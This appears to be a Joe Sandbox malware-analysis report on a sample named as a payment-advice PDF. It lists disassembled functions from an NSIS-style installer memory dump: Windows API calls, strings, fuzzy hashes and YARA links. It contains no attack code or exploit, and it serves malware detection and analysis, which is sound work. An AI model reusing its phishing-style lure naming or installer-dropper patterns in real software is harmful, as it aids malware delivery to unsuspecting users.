SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403CFF
IsWindowEnabled.USER32(00000000), ref: 00403D06
GetDlgItem.USER32(?,00000001), ref: 00403DB4
GetDlgItem.USER32(?,00000002), ref: 00403DBE
SetClassLongW.USER32(?,000000F2,?), ref: 00403DD8
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403E29
GetDlgItem.USER32(?,00000003), ref: 00403ECF
ShowWindow.USER32(00000000,?), ref: 00403EF0
EnableWindow.USER32(?,?), ref: 00403F02
EnableWindow.USER32(?,?), ref: 00403F1D
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403F33
EnableMenuItem.USER32(00000000), ref: 00403F3A
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00403F52
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00403F65
lstrlenW.KERNEL32(0042D268,?,0042D268,00433F00), ref: 00403F8E
SetWindowTextW.USER32(?,0042D268), ref: 00403FA2
ShowWindow.USER32(?,0000000A), ref: 004040D6

Memory Dump Source

Source File: 00000004.00000002.2933392357.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2933375930.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933408044.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933424132.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933448520.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID:
API String ID: 184305955-0
Opcode ID: 1f500e8277606cc2b60b0699cfffcfb82421e5b85fdc00a0e0ef9cc185334c76
Instruction ID: ea0d75974b1de0ff06d17ebe4cf6f8c3df4269cbbec1c2e45b889e3be151f72f
Opcode Fuzzy Hash: 1f500e8277606cc2b60b0699cfffcfb82421e5b85fdc00a0e0ef9cc185334c76
Instruction Fuzzy Hash: 51C1AEB1604300ABDB206F61ED85E2B7AA8EB94706F50053EF641B61F0CB7999529B2D

Function 004042B6 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 207windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404354
GetDlgItem.USER32(?,000003E8), ref: 00404368
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404385
GetSysColor.USER32(?), ref: 00404396
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004043A4
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004043B2
lstrlenW.KERNEL32(?), ref: 004043B7
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004043C4
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004043D9
GetDlgItem.USER32(?,0000040A), ref: 00404432
SendMessageW.USER32(00000000), ref: 00404439
GetDlgItem.USER32(?,000003E8), ref: 00404464
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004044A7
LoadCursorW.USER32(00000000,00007F02), ref: 004044B5
SetCursor.USER32(00000000), ref: 004044B8
ShellExecuteW.SHELL32(0000070B,open,00432EA0,00000000,00000000,00000001), ref: 004044CD
LoadCursorW.USER32(00000000,00007F00), ref: 004044D9
SetCursor.USER32(00000000), ref: 004044DC
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040450B
SendMessageW.USER32(00000010,00000000,00000000), ref: 0040451D

Strings

-B@, xrefs: 004044C2
N, xrefs: 00404452
open, xrefs: 004044C5

Memory Dump Source

Source File: 00000004.00000002.2933392357.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2933375930.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933408044.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933424132.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933448520.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: -B@$N$open
API String ID: 3615053054-1057335957
Opcode ID: 36576130f872884c293bcf5f2af5e47814bd4f236bd745ad96bf50452987c1a6
Instruction ID: dd3f9e4c49c61f52868447dcb3d39b77a72b713ccf0d54d9464424dd5907340f
Opcode Fuzzy Hash: 36576130f872884c293bcf5f2af5e47814bd4f236bd745ad96bf50452987c1a6
Instruction Fuzzy Hash: E87190B1900209BFDB109F61DD89EAA7B69FB84355F00803AFB05BA1D0C778AD51CF98

Function 0040389E Relevance: 37.0, APIs: 13, Strings: 8, Instructions: 215stringregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040642B: GetModuleHandleA.KERNEL32(?,?,00000020,0040330C,00000009,SETUPAPI,USERENV,UXTHEME), ref: 0040643D
Part of subcall function 0040642B: GetProcAddress.KERNEL32(00000000,?), ref: 00406458

lstrcatW.KERNEL32(00441000,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000,00000002,74DF3420,00441800,00000000,0043F000), ref: 0040391F
lstrlenW.KERNEL32(00432EA0,?,?,?,00432EA0,00000000,0043F800,00441000,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000,00000002,74DF3420), ref: 0040399F
lstrcmpiW.KERNEL32(00432E98,.exe,00432EA0,?,?,?,00432EA0,00000000,0043F800,00441000,0042D268,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042D268,00000000), ref: 004039B2
GetFileAttributesW.KERNEL32(00432EA0), ref: 004039BD
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,0043F800), ref: 00403A06

Part of subcall function 00405F9C: wsprintfW.USER32 ref: 00405FA9

RegisterClassW.USER32(00433EA0), ref: 00403A43
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403A5B
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403A90
ShowWindow.USER32(00000005,00000000), ref: 00403AC6
GetClassInfoW.USER32(00000000,RichEdit20W,00433EA0), ref: 00403AF2
GetClassInfoW.USER32(00000000,RichEdit,00433EA0), ref: 00403AFF
RegisterClassW.USER32(00433EA0), ref: 00403B08
DialogBoxParamW.USER32(?,00000000,00403C41,00000000), ref: 00403B27

Strings

.DEFAULT\Control Panel\International, xrefs: 0040390A
RichEd20, xrefs: 00403ACC
Control Panel\Desktop\ResourceLocale, xrefs: 004038D2
RichEdit20W, xrefs: 00403AEA, 00403AF0
RichEd32, xrefs: 00403ADA
_Nb, xrefs: 00403A22, 00403A8A
.exe, xrefs: 004039AC
RichEdit, xrefs: 00403AF9

Memory Dump Source

Source File: 00000004.00000002.2933392357.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2933375930.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933408044.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933424132.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933448520.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-1115850852
Opcode ID: d5c3abf15ba9808ba33f498f7a164742ef658a4c3e7242e85e78716b4e36e908
Instruction ID: 3415ad5ee5f1eed3d2c0e447cb4c4d8a0153f3b0974deb3f023f39c7f2583bdf
Opcode Fuzzy Hash: d5c3abf15ba9808ba33f498f7a164742ef658a4c3e7242e85e78716b4e36e908
Instruction Fuzzy Hash: A361CA706406006FD320AF66AD46F2B3A6CEB8474AF40553FF941B22E2DB7D5D41CA2D

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00433F00,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000004.00000002.2933392357.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2933375930.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933408044.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933424132.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933448520.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 836f1adf353e2d325b24016f8fe56e8870fd4280f6f4b89fbeb337628f0c6723
Instruction ID: 6108585e84898fc0a566315ef3a84ca8793ce744416779fac967068cfe9173e2
Opcode Fuzzy Hash: 836f1adf353e2d325b24016f8fe56e8870fd4280f6f4b89fbeb337628f0c6723
Instruction Fuzzy Hash: 0E418A71800209AFCB058F95DE459AFBBB9FF44310F04842EF991AA1A0C738EA54DFA4

Function 00405D84 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 131stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00430908,NUL,?,00000000,?,0040A300,00405F17,?,?), ref: 00405D93
CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,0040A300,00405F17,?,?), ref: 00405DB7
GetShortPathNameW.KERNEL32(?,00430908,00000400), ref: 00405DC0

Part of subcall function 00405B8F: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B9F
Part of subcall function 00405B8F: lstrlenA.KERNEL32(00000000,?,00000000,00405E70,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405BD1

GetShortPathNameW.KERNEL32(00431108,00431108,00000400), ref: 00405DDD
wsprintfA.USER32 ref: 00405DFB
GetFileSize.KERNEL32(00000000,00000000,00431108,C0000000,00000004,00431108,?,?,?,?,?), ref: 00405E36
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405E45
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7D
SetFilePointer.KERNEL32(0040A578,00000000,00000000,00000000,00000000,00430508,00000000,-0000000A,0040A578,00000000,[Rename],00000000,00000000,00000000), ref: 00405ED3
GlobalFree.KERNEL32(00000000), ref: 00405EE4
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00405EEB

Part of subcall function 00405C2A: GetFileAttributesW.KERNEL32(00000003,00402E2E,00442800,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405C2E
Part of subcall function 00405C2A: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000,?,?,00000000,0040353A,?), ref: 00405C50

Strings

NUL, xrefs: 00405D8D
[Rename], xrefs: 00405E65, 00405E77
%ls=%ls, xrefs: 00405DF1

Memory Dump Source

Source File: 00000004.00000002.2933392357.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2933375930.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933408044.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933424132.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933448520.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizewsprintf
String ID: %ls=%ls$NUL$[Rename]
API String ID: 222337774-899692902
Opcode ID: f6fb36cc51022f7a2fd4840f1f55d7684ca34511e2c34b0b855416ece56c70d0
Instruction ID: 58c57230207582c12286da0908ad594a16be4941a6f2872b3690da29fc8d014c
Opcode Fuzzy Hash: f6fb36cc51022f7a2fd4840f1f55d7684ca34511e2c34b0b855416ece56c70d0
Instruction Fuzzy Hash: 01311370600B18BBD2206B219D49F6B3A5CEF45755F14043AB981F62D2EE7CAA01CAAD

Function 004045B4 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404603
SetWindowTextW.USER32(00000000,?), ref: 0040462D
SHBrowseForFolderW.SHELL32(?), ref: 004046DE
CoTaskMemFree.OLE32(00000000), ref: 004046E9
lstrcmpiW.KERNEL32(00432EA0,0042D268,00000000,?,?), ref: 0040471B
lstrcatW.KERNEL32(?,00432EA0), ref: 00404727
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404739

Part of subcall function 0040577E: GetDlgItemTextW.USER32(?,?,00000400,00404770), ref: 00405791

Part of subcall function 004062E9: CharNextW.USER32(0040A300,*?|<>/":,00000000,0043F000,74DF3420,00441800,00000000,0040327B,00441800,00441800,004034CC), ref: 0040634C
Part of subcall function 004062E9: CharNextW.USER32(0040A300,0040A300,0040A300,00000000), ref: 0040635B
Part of subcall function 004062E9: CharNextW.USER32(0040A300,0043F000,74DF3420,00441800,00000000,0040327B,00441800,00441800,004034CC), ref: 00406360
Part of subcall function 004062E9: CharPrevW.USER32(0040A300,0040A300,74DF3420,00441800,00000000,0040327B,00441800,00441800,004034CC), ref: 00406373

GetDiskFreeSpaceW.KERNEL32(0042B238,?,?,0000040F,?,0042B238,0042B238,?,00000001,0042B238,?,?,000003FB,?), ref: 004047FC
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404817

Part of subcall function 00404970: lstrlenW.KERNEL32(0042D268,0042D268,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404A11
Part of subcall function 00404970: wsprintfW.USER32 ref: 00404A1A
Part of subcall function 00404970: SetDlgItemTextW.USER32(?,0042D268), ref: 00404A2D

Strings

A, xrefs: 004046D7

Memory Dump Source

Source File: 00000004.00000002.2933392357.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2933375930.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933408044.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933424132.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933448520.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A
API String ID: 2624150263-3554254475
Opcode ID: 7533d7c2dc95967098a321fa3339fb28748da65ff8be7a50b8b52b895c48c278
Instruction ID: 407ae004ccebb682b028ef0dda1631611b85a4c4b0528499d59b6de2b9b5396a
Opcode Fuzzy Hash: 7533d7c2dc95967098a321fa3339fb28748da65ff8be7a50b8b52b895c48c278
Instruction Fuzzy Hash: 9CA171B1900208ABDB11AFA6CD85AAF77B8EF84314F10843BF601B72D1D77C89418B69

Function 00402DEE Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 182COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00402DFF
GetModuleFileNameW.KERNEL32(00000000,00442800,00000400,?,?,00000000,0040353A,?), ref: 00402E1B

Part of subcall function 00405C2A: GetFileAttributesW.KERNEL32(00000003,00402E2E,00442800,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405C2E
Part of subcall function 00405C2A: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000,?,?,00000000,0040353A,?), ref: 00405C50

GetFileSize.KERNEL32(00000000,00000000,00443000,00000000,00440800,00440800,00442800,00442800,80000000,00000003,?,?,00000000,0040353A,?), ref: 00402E67

Strings

(*B, xrefs: 00402E7C
Null, xrefs: 00402EE5
soft, xrefs: 00402EDC
Inst, xrefs: 00402ED3
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00402FC6
Error launching installer, xrefs: 00402E3E

Memory Dump Source

Source File: 00000004.00000002.2933392357.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2933375930.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933408044.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933424132.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933448520.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: (*B$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-2478819026
Opcode ID: af3239711416cc3f4489103c4f5988a16c87e5acef6a1f1d228726abe2e37e97
Instruction ID: 7d4f9fc7c678da67c97c1a1890296b71ec8e814f853b941ab64c238268a70fe9
Opcode Fuzzy Hash: af3239711416cc3f4489103c4f5988a16c87e5acef6a1f1d228726abe2e37e97
Instruction Fuzzy Hash: AF51F731904205ABDB209F61DE89B9F7BB8EB44394F14403BF904B62C1C7B89D409BAD

Function 00406077 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 207stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,0042C248,?,004051EB,0042C248,00000000,00000000,?), ref: 0040613A
GetSystemDirectoryW.KERNEL32(00432EA0,00000400), ref: 004061B8
GetWindowsDirectoryW.KERNEL32(00432EA0,00000400), ref: 004061CB
SHGetSpecialFolderLocation.SHELL32(?,?), ref: 00406207
SHGetPathFromIDListW.SHELL32(?,00432EA0), ref: 00406215
CoTaskMemFree.OLE32(?), ref: 00406220
lstrcatW.KERNEL32(00432EA0,\Microsoft\Internet Explorer\Quick Launch), ref: 00406244
lstrlenW.KERNEL32(00432EA0,00000000,0042C248,?,004051EB,0042C248,00000000,00000000,?), ref: 0040629E

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 0040623E
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406186

Memory Dump Source

Source File: 00000004.00000002.2933392357.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2933375930.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933408044.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933424132.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933448520.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-730719616
Opcode ID: b49515e533b40e1408f5d93883df29fa5190ace2cf2b8e5a57d609063371b42f
Instruction ID: e2b9bd4c7d0941b93a588dc58e8d14d5200dcae9cd5da35c43f1ba43b89dddbc
Opcode Fuzzy Hash: b49515e533b40e1408f5d93883df29fa5190ace2cf2b8e5a57d609063371b42f
Instruction Fuzzy Hash: 79610371A00504EBDF20AF64CC40BAE37A5AF55324F16817FE942BA2D0D73D9AA1CB4D

Function 00403027 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 166COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00403091
GetTickCount.KERNEL32 ref: 00403138
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 00403161
wsprintfW.USER32 ref: 00403174

Strings

jA, xrefs: 004031F1
jA, xrefs: 004030E7
... %d%%, xrefs: 0040316E

Memory Dump Source

Source File: 00000004.00000002.2933392357.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2933375930.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933408044.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933424132.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933448520.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: jA$ jA$... %d%%
API String ID: 551687249-2167919867
Opcode ID: e07d926733e31303047b785d6e8e1ef749c31aa3f1888e26d22e6b527b659153
Instruction ID: 9abceb1f43df10d1a821086e1d45a58eca4464abfa5f2a46825b956852eb5d51
Opcode Fuzzy Hash: e07d926733e31303047b785d6e8e1ef749c31aa3f1888e26d22e6b527b659153
Instruction Fuzzy Hash: AF517C71901259EBDB10CF65DA44BAE7BB8AF05766F10417FF811B62C0C7789E40CBAA

Function 00404180 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 0040419D
GetSysColor.USER32(00000000), ref: 004041B9
SetTextColor.GDI32(?,00000000), ref: 004041C5
SetBkMode.GDI32(?,?), ref: 004041D1
GetSysColor.USER32(?), ref: 004041E4
SetBkColor.GDI32(?,?), ref: 004041F4
DeleteObject.GDI32(?), ref: 0040420E
CreateBrushIndirect.GDI32(?), ref: 00404218

Memory Dump Source

Source File: 00000004.00000002.2933392357.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2933375930.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933408044.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933424132.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933448520.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 1be7c14e932793da5b7e12cfd745236bd09d54aa5f4605660dea7ebeed684375
Instruction ID: dec6db0c7b043789455d5ba444b9f0b4b6699da27fefac44a21b5edf9a5b929b
Opcode Fuzzy Hash: 1be7c14e932793da5b7e12cfd745236bd09d54aa5f4605660dea7ebeed684375
Instruction Fuzzy Hash: E321C3B1500704ABCB219F68EE08B4BBBF8AF40710F04896DF996F66A0C734E944CB64

Function 004025E5 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 151fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 0040264D
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402688
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 004026AB
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 004026C1

Part of subcall function 00405D0B: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00405D21

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 0040276D

Strings

9, xrefs: 00402630

Memory Dump Source

Source File: 00000004.00000002.2933392357.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2933375930.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933408044.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933424132.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933448520.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 1e0cadf04f88ccade5697334c954c2e9868fb264b6ac47f65209ed57e79425ed
Instruction ID: c11c119823ef092d14edb4d445d1eebecf1e4ba29e3308019af08aa6c5ad61e3
Opcode Fuzzy Hash: 1e0cadf04f88ccade5697334c954c2e9868fb264b6ac47f65209ed57e79425ed
Instruction Fuzzy Hash: 43510874D00219AADF209F94CA88ABEB779FF04344F50447BE501B72E0D7B99D42DB69

Function 004051B4 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0042C248,00000000,?,74DF23A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
lstrlenW.KERNEL32(0040318B,0042C248,00000000,?,74DF23A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,?,74DF23A0), ref: 0040520F
SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Memory Dump Source

Source File: 00000004.00000002.2933392357.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2933375930.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933408044.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933424132.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933448520.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYMENT ADVICE TT07180016-24_pdf.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 8e6bf81ce48c4b2cdbfca5526b135b5755e0331aa1f53bcdb355af2f73056803
Instruction ID: bea5982b108369c56cf3d35f12f42b62494ffc2cb206b3c5387e037ca996873b
Opcode Fuzzy Hash: 8e6bf81ce48c4b2cdbfca5526b135b5755e0331aa1f53bcdb355af2f73056803
Instruction Fuzzy Hash: B2219D71900518BBCB119FA5DD849DFBFB8EF45354F14807AF944B6290C7794A50CFA8

Function 00404A7E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404A99
GetMessagePos.USER32 ref: 00404AA1
ScreenToClient.USER32(?,?), ref: 00404ABB
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404ACD
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404AF3

Strings

f, xrefs: 00404ACF

Memory Dump Source

Source File: 00000004.00000002.2933392357.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2933375930.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933408044.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933424132.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2933448520.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

